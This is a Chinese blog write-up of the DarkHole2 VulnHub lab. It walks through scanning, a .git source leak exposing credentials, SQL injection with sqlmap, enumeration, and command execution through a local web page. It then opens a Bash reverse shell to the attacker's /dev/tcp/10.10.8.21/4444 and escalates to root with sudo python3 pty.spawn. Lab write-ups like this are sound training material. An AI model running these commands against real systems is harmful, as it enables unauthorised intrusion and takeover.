DarkHole2
- 写写打靶记录。
- 靶机地址:https://vulnhub.com/entry/darkhole-2,740/
信息收集
注:少见的一台可以使用 VMware Workstation 直接打开的靶机。
- 首先查看 Kali IP 地址:
1 | root at kali in ~/darkhole2 |
地址探测
- 使用 Nmap 扫描出一个 IP:10.10.8.143
1 | root at kali in ~/darkhole2 |
端口扫描
- 扫描开放端口:
1 | root at kali in ~/darkhole2 |
服务识别
- 扫描端口对应服务:
1 | root at kali in ~/darkhole2 |
漏洞扫描
- 使用 Nmap 进行漏洞扫描:
1 | root at kali in ~/darkhole2 |
- 看了下扫出来的漏洞,没一个有用的。
目录扫描
1 | root at kali in ~/darkhole2 |
漏洞利用
- 依次访问扫描出的内容,很明显这是一个自建的站点:
- 发现一个后台登录页面:
- 同时在也扫描有 .git 目录,感觉会出现源码泄露。
git 源码泄露
对于 git 源码泄露,常用的有两个工具进行下载:
- wget
- GitHack
这里用 wget 进行演示,使用如下命令下载 .git 目录内容:
1 | root at kali in ~/darkhole2 |
- 进入保存目录,查看修改日志:
1 | root at kali in ~/darkhole2/10.10.8.19 (master●●) |
- 发现文件经历了两次修改,其中第一次修改后的 commit 提示了新增 login.php 默认凭证,有搞头。
- 使用 git 命令查看修改文件内容:
1 | root at kali in ~/darkhole2/10.10.8.19 (master●●) |
- 发现了华点,这里出现了邮箱和密码:
lush@admin.com/321
。 - 正好后台登录需要的就是邮箱和密码,尝试登录一下。
SQL 注入
- 成功登录到后台:
- 左看看,右挖挖,没有什么功能点。
- 不过在 URL 处发现了一个参数提交:
?id=1
,这里很有可能存在两类漏洞- 水平/垂直越权
- SQL 注入
- 但试了几个参数值,都没啥变化,越权应该是没有了。
- 试试 SQL 注入:
- 输入单引号页面直接白屏了,有戏,尝试闭合:
- 可以那就是存在 SQL 注入了,现在有两种方式:
- 手工注入
- SQLMap
手工注入
- 那就先来遍手工注入,老生常谈了:
1 | 判断列数 |
SQLMap
- 由于是登录后的页面,需要使用 BurpSuite 保存一个 HTTP 请求包,名为 url.txt:
- 直接 SQLMap 一把梭:
1 | root at kali in ~/darkhole2 |
- 当然也可以使用这个命令:
1 | sqlmap -u 'http://10.10.8.19/dashboard.php?id=1' --batch -v 0 --cookie 'PHPSESSID=7lthum22ic3hqcfuk9auppj6es' -D darkhole_2 --dump |
信息收集
- 已经有了非常明显的提示,使用爆破出来的 SSH 账号密码进行连接:
1 | root at kali in ~/darkhole2 |
- 但并不是 root 权限,之前都是手工探测漏洞和系统信息,现在使用脚本工具吧,不然也蛮累的。
- 下载 linux-smart-enumeration 脚本工具:
1 | wget https://github.com/diego-treitos/linux-smart-enumeration/releases/download/4.13nw/lse.sh |
- 本地使用 Python 开启 Web 服务:
1 | root at kali in ~/darkhole2 |
- 在靶机上进行文件下载:
1 | jehad@darkhole:~$ wget http://10.10.8.21/lse.sh |
- 赋权并执行:
1 | jehad@darkhole:~$ chmod +x lse.sh ; ./lse.sh |
- 发现了一个重要的信息,在 /etc/crontab 文件中有一个计划任务,看样子是开启一个 Web 服务。
本地文件 Shell 反弹
- 进入该目录看看:
1 | jehad@darkhole:~$ cd /opt/web |
- 发现一个 index.php 文件,有搞头,查看内容:
1 | ehad@darkhole:/opt/web$ cat index.php |
- 看样子有了,查看当前端口开放情况:
1 | jehad@darkhole:/opt/web$ netstat -antlp |
- 9999 端口确实开放着,但由于限制在了本地访问,所以可以使用 curl 构造请求:
1 | jehad@darkhole:/opt/web$ curl 'http://127.0.0.1:9999/?cmd=id' |
- 发现确实可以执行,ok,反弹一个 Shell 出来。
- 在 Kali 上开启监听:
1 | root at kali in ~/darkhole2 |
- 在靶机上构造 Bash 反弹语句:
1 | bash -c 'bash -i &> /dev/tcp/10.10.8.21/4444 0>&1' |
- 成功反弹:
1 | root at kali in ~/darkhole2 |
user.txt
- 在 losy 用户目录下发现了 flag:
1 | losy@darkhole:~$ cat user.txt |
二次信息收集
- 由于之前的信息收集脚本在 jehad 的家目录,现在切换目录进不去了,低级失误,所以要重新传一遍 lse 文件:
1 | losy@darkhole:~$ wget http://10.10.8.21/lse.sh |
- 在 losy 历史记录中发现了 password:gang,SSH 尝试登录一下:
1 | root at kali in ~/darkhole2 |
SUDO/Python 提权
- 之前对这个用户信息收集过了,所以还剩两条路:
- SUDO 提权
- 内核提权
- 至于为什么是 SUID,因为刚才跑脚本时没有输入密码,无法判断是否具有 SUDO 权限。
- 现在判断一下:
1 | losy@darkhole:~$ sudo -l |
- 发现 Python3 具有 root 执行权限,那就简单了:
1 | losy@darkhole:~$ sudo /usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')" |
- 提权成功!
root.txt
- 在 root 根目录下找到 flag:
1 | root@darkhole:/home/losy# cd /root |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!